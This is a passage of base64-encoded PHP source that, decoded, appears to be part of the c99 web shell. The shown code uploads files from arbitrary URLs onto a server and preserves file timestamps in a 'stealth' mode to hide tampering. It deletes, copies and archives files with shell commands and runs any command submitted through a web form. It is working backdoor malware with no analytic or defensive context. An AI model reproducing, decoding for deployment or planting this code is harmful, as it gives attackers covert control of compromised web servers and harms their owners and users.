ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+SW5jb3JlY3QgdXJsITwvYj48YnI+
IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHN0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgICAg
ICAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOw0K
ICAgICAgICAgICAgICAgICAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKSAtICRzdCwgNCk7
DQogICAgICAgICAgICAgICAgICAgIGlmICghJGNvbnRlbnQpDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1cGxvYWRtZXNzIC49ICJDYW4ndCBkb3dubG9h
ZCBmaWxlITxicj4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAg
IGVsc2UNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYg
KCRmaWxlc3RlYWx0aCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAkc3RhdCA9IHN0YXQoJHVwbG9hZHBhdGggLiAkZGVzdGluKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IGZvcGVu
KCR1cGxvYWRwYXRoIC4gJGRlc3RpbiwgInciKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlm
ICghJGZwKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICR1cGxvYWRtZXNzIC49ICJFcnJvciB3cml0aW5nIHRvIGZpbGUgIiAuIGh0bWxzcGVj
aWFsY2hhcnMoJGRlc3RpbikgLiAiITxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRjb250ZW50LCBzdHJsZW4o
JGNvbnRlbnQpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVzdGVhbHRoKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG91Y2go
JHVwbG9hZHBhdGggLiAkZGVzdGluLCAkc3RhdFs5XSwgJHN0YXRbOF0pOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0K
ICAgICAgICBpZiAoJG1pbmlmb3JtKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj4i
IC4gJHVwbG9hZG1lc3MgLiAiPC9iPiI7DQogICAgICAgICAgICAkYWN0ID0gImxzIjsNCiAgICAg
ICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxiPkZpbGUg
dXBsb2FkOjwvYj48YnI+PGI+IiAuICR1cGxvYWRtZXNzIC4gIjwvYj48Zm9ybSBlbmN0eXBlPVwi
bXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIgLiAkc3VybCAuICJhY3Q9dXBsb2FkJmQ9
IiAuIHVybGVuY29kZSgkZCkgLiAiXCIgbWV0aG9kPVBPU1Q+DQpTZWxlY3QgZmlsZSBvbiB5b3Vy
IGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwi
Pjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4NCklucHV0IFVSTDog
PGlucHV0IG5hbWU9XCJ1cGxvYWR1cmxcIiB0eXBlPVwidGV4dFwiIHZhbHVlPVwiIiAuIGh0bWxz
cGVjaWFsY2hhcnMoJHVwbG9hZHVybCkgLiAiXCIgc2l6ZT1cIjcwXCI+PGJyPjxicj4NClNhdmUg
dGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFs
dWU9XCIiIC4gJGRpc3BkIC4gIlwiPjxicj48YnI+DQpGaWxlLW5hbWUgKGF1dG8tZmlsbCk6IDxp
bnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PGJyPjxicj4NCjxpbnB1dCB0eXBlPWNo
ZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+Jm5ic3A7Y29udmVydCBm
aWxlIG5hbWUgdG8gbG92ZXJjYXNlPGJyPjxicj4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1
Ym1pdCB2YWx1ZT1cIlVwbG9hZFwiPg0KPC9mb3JtPiI7DQogICAgICAgIH0NCiAgICB9DQogICAg
aWYgKCRhY3QgPT0gImRlbGV0ZSIpDQogICAgew0KICAgICAgICAkZGVsZXJyID0gIiI7DQogICAg
ICAgIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpDQogICAgICAgIHsNCiAgICAgICAgICAgICRyZXN1
bHQgPSBmYWxzZTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBmc19ybW9iaigkdik7DQogICAgICAg
ICAgICBpZiAoISRyZXN1bHQpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGRlbGVy
ciAuPSAiQ2FuJ3QgZGVsZXRlICIgLiBodG1sc3BlY2lhbGNoYXJzKCR2KSAuICI8YnI+IjsNCiAg
ICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWVtcHR5KCRkZWxlcnIpKQ0KICAg
ICAgICB7DQogICAgICAgICAgICBlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJy
PiIgLiAkZGVsZXJyOw0KICAgICAgICB9DQogICAgICAgICRhY3QgPSAibHMiOw0KICAgIH0NCiAg
ICBpZiAoISR1c2Vmc2J1ZmYpDQogICAgew0KICAgICAgICBpZiAoKCRhY3QgPT0gInBhc3RlIikg
b3IgKCRhY3QgPT0gImNvcHkiKSBvciAoJGFjdCA9PSAiY3V0Iikgb3IgKCRhY3QgPT0gInVuc2Vs
ZWN0IikpDQogICAgICAgIHsNCiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1
ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlRlNidWZm
XCIgYXMgVFJVRS48L2NlbnRlcj4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2UNCiAgICB7
DQogICAgICAgIGlmICgkYWN0ID09ICJjb3B5IikNCiAgICAgICAgew0KICAgICAgICAgICAgJGVy
ciA9ICIiOw0KICAgICAgICAgICAgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNl
c3NfZGF0YVsiY29weSJdLCAkYWN0Ym94KTsNCiAgICAgICAgICAgIGM5OV9zZXNzX3B1dCgkc2Vz
c19kYXRhKTsNCiAgICAgICAgICAgICRhY3QgPSAibHMiOw0KICAgICAgICB9DQogICAgICAgIGVs
c2VpZiAoJGFjdCA9PSAiY3V0IikNCiAgICAgICAgew0KICAgICAgICAgICAgJHNlc3NfZGF0YVsi
Y3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwgJGFjdGJveCk7DQogICAgICAg
ICAgICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgICAgICAgICAkYWN0ID0gImxzIjsN
CiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRhY3QgPT0gInVuc2VsZWN0IikNCiAgICAgICAg
ew0KICAgICAgICAgICAgZm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrID0+ICR2KQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkdiwgJGFjdGJveCkp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkc2Vzc19kYXRh
WyJjb3B5Il1bJGtdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkayA9PiAkdikNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHYsICRhY3Rib3gpKQ0KICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgdW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtd
KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjOTlfc2Vz
c19wdXQoJHNlc3NfZGF0YSk7DQogICAgICAgICAgICAkYWN0ID0gImxzIjsNCiAgICAgICAgfQ0K
ICAgICAgICBpZiAoJGFjdGVtcHR5YnVmZikNCiAgICAgICAgew0KICAgICAgICAgICAgJHNlc3Nf
ZGF0YVsiY29weSJdID0gJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpOw0KICAgICAgICAgICAg
Yzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJGFj
dHBhc3RlYnVmZikNCiAgICAgICAgew0KICAgICAgICAgICAgJHBzdGVyciA9ICIiOw0KICAgICAg
ICAgICAgZm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrID0+ICR2KQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICR0byA9ICRkIC4gYmFzZW5hbWUoJHYpOw0KICAgICAgICAg
ICAgICAgIGlmICghZnNfY29weV9vYmooJHYsICR0bykpDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIgLiAkdiAuICIgdG8gIiAu
ICR0byAuICIhPGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgk
Y29weV91bnNldCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0
KCRzZXNzX2RhdGFbImNvcHkiXVska10pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
IH0NCiAgICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrID0+ICR2KQ0K
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0byA9ICRkIC4gYmFzZW5hbWUoJHYpOw0K
ICAgICAgICAgICAgICAgIGlmICghZnNfbW92ZV9vYmooJHYsICR0bykpDQogICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAkcHN0ZXJyIC49ICJDYW4ndCBtb3ZlICIgLiAkdiAu
ICIgdG8gIiAuICR0byAuICIhPGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRw
c3RlcnIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPlBhc3Rpbmcg
d2l0aCBlcnJvcnM6PC9iPjxicj4iIC4gJHBzdGVycjsNCiAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICRhY3QgPSAibHMiOw0KICAgICAgICB9DQogICAgICAgIGVsc2VpZiAoJGFjdGFyY2J1ZmYp
DQogICAgICAgIHsNCiAgICAgICAgICAgICRhcmNlcnIgPSAiIjsNCiAgICAgICAgICAgIGlmIChz
dWJzdHIoJGFjdGFyY2J1ZmZfcGF0aCwgLTcsIDcpID09ICIudGFyLmd6IikNCiAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAkZXh0ID0gIi50YXIuZ3oiOw0KICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRleHQgPSAiLnRh
ci5neiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGV4dCA9PSAiLnRhci5neiIp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGNtZGxpbmUgPSAidGFyIGNmenYiOw0K
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGNtZGxpbmUgLj0gIiAiIC4gJGFjdGFyY2J1ZmZf
cGF0aDsNCiAgICAgICAgICAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29w
eSJdLCAkc2Vzc19kYXRhWyJjdXQiXSk7DQogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBh
cyAkdikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdiA9IHN0cl9yZXBsYWNlKCJc
XCIsIERJUkVDVE9SWV9TRVBBUkFUT1IsICR2KTsNCiAgICAgICAgICAgICAgICBpZiAoc3Vic3Ry
KCR2LCAwLCBzdHJsZW4oJGQpKSA9PSAkZCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICR2ID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICBpZiAoaXNfZGlyKCR2KSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgIGlmIChzdWJzdHIoJHYsIC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKQ0KICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdiAuPSBESVJFQ1RPUllf
U0VQQVJBVE9SOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICR2
IC49ICIqIjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGNtZGxpbmUgLj0g
IiAiIC4gJHY7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdG1wID0gcmVhbHBhdGgoIi4i
KTsNCiAgICAgICAgICAgIGNoZGlyKCRkKTsNCiAgICAgICAgICAgICRyZXQgPSBteXNoZWxsZXhl
YygkY21kbGluZSk7DQogICAgICAgICAgICBjaGRpcigkdG1wKTsNCiAgICAgICAgICAgIGlmIChl
bXB0eSgkcmV0KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkYXJjZXJyIC49ICJD
YW4ndCBjYWxsIGFyY2hpdmF0b3IgKCIgLiBodG1sc3BlY2lhbGNoYXJzKHN0cjJtaW5pKCRjbWRs
aW5lLCA2MCkpIC4gIikhPGJyPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcmV0ID0g
c3RyX3JlcGxhY2UoIlxyXG4iLCAiXG4iLCAkcmV0KTsNCiAgICAgICAgICAgICRyZXQgPSBleHBs
b2RlKCJcbiIsICRyZXQpOw0KICAgICAgICAgICAgaWYgKCRjb3B5X3Vuc2V0KQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkayA9
PiAkdikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRzZXNz
X2RhdGFbImNvcHkiXVska10pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgIGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrID0+ICR2KQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkdiwgJHJldCkpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBmc19ybW9iaigkdik7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAg
ICAgICAgICBpZiAoIWVtcHR5KCRhcmNlcnIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgIGVjaG8gIjxiPkFyY2hpdmF0aW9uIGVycm9yczo8L2I+PGJyPiIgLiAkYXJjZXJyOw0KICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgJGFjdCA9ICJscyI7DQogICAgICAgIH0NCiAgICAgICAg
ZWxzZWlmICgkYWN0cGFzdGVidWZmKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcHN0ZXJyID0g
IiI7DQogICAgICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGsgPT4gJHYp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHRvID0gJGQgLiBiYXNlbmFtZSgkdik7
DQogICAgICAgICAgICAgICAgaWYgKCFmc19jb3B5X29iaigkdiwgJGQpKQ0KICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHBzdGVyciAuPSAiQ2FuJ3QgY29weSAiIC4gJHYg
LiAiIHRvICIgLiAkdG8gLiAiITxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICBpZiAoJGNvcHlfdW5zZXQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICB1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsNCiAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAk
ayA9PiAkdikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdG8gPSAkZCAuIGJhc2Vu
YW1lKCR2KTsNCiAgICAgICAgICAgICAgICBpZiAoIWZzX21vdmVfb2JqKCR2LCAkZCkpDQogICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcHN0ZXJyIC49ICJDYW4ndCBtb3Zl
ICIgLiAkdiAuICIgdG8gIiAuICR0byAuICIhPGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7DQogICAgICAgICAgICBpZiAo
IWVtcHR5KCRwc3RlcnIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVjaG8gIjxi
PlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iIC4gJHBzdGVycjsNCiAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICRhY3QgPSAibHMiOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgkYWN0
ID09ICJjbWQiKQ0KICAgIHsNCiAgICAgICAgaWYgKHRyaW0oJGNtZCkgPT0gInBzIC1hdXgiKQ0K
ICAgICAgICB7DQogICAgICAgICAgICAkYWN0ID0gInByb2Nlc3NlcyI7DQogICAgICAgIH0NCiAg
ICAgICAgZWxzZWlmICh0cmltKCRjbWQpID09ICJ0YXNrbGlzdCIpDQogICAgICAgIHsNCiAgICAg
ICAgICAgICRhY3QgPSAicHJvY2Vzc2VzIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAg
ICAgIHsNCiAgICAgICAgICAgIEBjaGRpcigkY2hkaXIpOw0KICAgICAgICAgICAgaWYgKCFlbXB0
eSgkc3VibWl0KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8Yj5SZXN1
bHQgb2YgZXhlY3V0aW9uIHRoaXMgY29tbWFuZDwvYj46PGJyPiI7DQogICAgICAgICAgICAgICAg
JG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgICAgICAgICAgICAgQGNoZGlyKCRkKTsNCiAg
ICAgICAgICAgICAgICAkcmV0ID0gbXlzaGVsbGV4ZWMoJGNtZCk7DQogICAgICAgICAgICAgICAg
JHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCAiZCIsICJ3Iik7DQogICAgICAgICAgICAg
ICAgaWYgKCRjbWRfdHh0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
JHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwgJHJldCkpICsgMTsNCiAgICAgICAgICAgICAg
ICAgICAgaWYgKCRyb3dzIDwgMTApDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICRyb3dzID0gMTA7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIgLiAk
cm93cyAuICJcIiByZWFkb25seT4iIC4gaHRtbHNwZWNpYWxjaGFycygkcmV0KSAuICI8L3RleHRh
cmVhPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJHJldCAuICI8YnI+IjsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgQGNoZGlyKCRvbGRkaXIpOw0KICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVj
aG8gIjxiPkV4ZWN1dGlvbiBjb21tYW5kPC9iPiI7DQogICAgICAgICAgICAgICAgaWYgKGVtcHR5
KCRjbWRfdHh0KSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRjbWRf
dHh0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiIC4gJHN1cmwgLiAiXCIgbWV0aG9kPVBPU1Q+PGlucHV0
IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNtZD48dGV4dGFyZWEgbmFtZT1jbWQgY29scz0x
MjIgcm93cz0xMD4iIC4gaHRtbHNwZWNpYWxjaGFycygkY21kKSAuICI8L3RleHRhcmVhPjxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIiAuICRkaXNwZCAuICJcIj48YnI+PGJy
PjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIkV4ZWN1dGVcIj4mbmJzcDtE
aXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwi
Y21kX3R4dFwiIHZhbHVlPVwiMVwiIjsNCiAgICAgICAgICAgIGlmICgkY21kX3R4dCkNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICIgY2hlY2tlZCI7DQogICAgICAgICAgICB9
DQogICAgICAgICAgICBlY2hvICI+PC9mb3JtPiI7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYg
KCRhY3QgPT0gImxzIikNCiAgICB7DQogICAgICAgIGlmIChjb3VudCgkbHNfYXJyKSA+IDApDQog
ICAgICAgIHsNCiAgICAgICAgICAgICRsaXN0ID0gJGxzX2FycjsNCiAgICAgICAgfQ0KICAgICAg
ICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRsaXN0ID0gYXJyYXkoKTsNCiAgICAgICAg
ICAgIGlmICgkaCA9IEBvcGVuZGlyKCRkKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICRsaXN0W10gPSAkZCAuICRvOw0KICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICBjbG9zZWRpcigkaCk7DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAg
ICAgaWYgKGNvdW50KCRsaXN0KSA9PSAwKQ0KICAgICAgICB7DQogICAgICAgICAgICBlY2hvICI8
Y2VudGVyPjxiPkNhbid0IG9wZW4gZm9sZGVyICgiIC4gaHRtbHNwZWNpYWxjaGFycygkZCkgLiAi
KSE8L2I+PC9jZW50ZXI+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAg
ICAgICAgICAgICRvYmplY3RzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICR2ZCA9ICJmIjsNCiAg
ICAgICAgICAgIGlmICgkdmQgPT0gImYiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICRvYmplY3RzWyJoZWFkIl0gPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICRvYmplY3RzWyJm
b2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgICRvYmplY3RzWyJsaW5rcyJdID0g
YXJyYXkoKTsNCiAgICAgICAgICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5KCk7DQog
ICAgICAgICAgICAgICAgZm9yZWFjaCAoJGxpc3QgYXMgJHYpDQogICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAkbyA9IGJhc2VuYW1lKCR2KTsNCiAgICAgICAgICAgICAgICAg
ICAgJHJvdyA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgICAgIGlmICgkbyA9PSAiLiIpDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICRk
IC4gJG87DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAiTElOSyI7DQogICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZWlmICgkbyA9PSAiLi4iKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAk
ZCAuICRvOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHJvd1tdID0gIkxJTksiOw0KICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkN
CiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2xp
bmsoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gIkRJUiI7DQogICAgICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcm93W10gPSAkdjsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICRyb3dbXSA9ICR0eXBlOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgICAgIGVsc2VpZiAoaXNfZmlsZSgkdikpDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICR2Ow0KICAgICAgICAgICAgICAg
ICAgICAgICAgJHJvd1tdID0gZmlsZXNpemUoJHYpOw0KICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICRyb3dbXSA9IGZpbGVtdGltZSgkdik7DQogICAgICAgICAgICAg
ICAgICAgIGlmICghJHdpbikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR2KSk7DQogICAgICAgICAg
ICAgICAgICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICRyb3dbXSA9ICgkb3dbIm5hbWUiXSA/ICRvd1sibmFtZSJdIDog
ZmlsZW93bmVyKCR2KSkgLiAiLyIgLiAoJGdyWyJuYW1lIl0gPyAkZ3JbIm5hbWUiXSA6IGZpbGVn
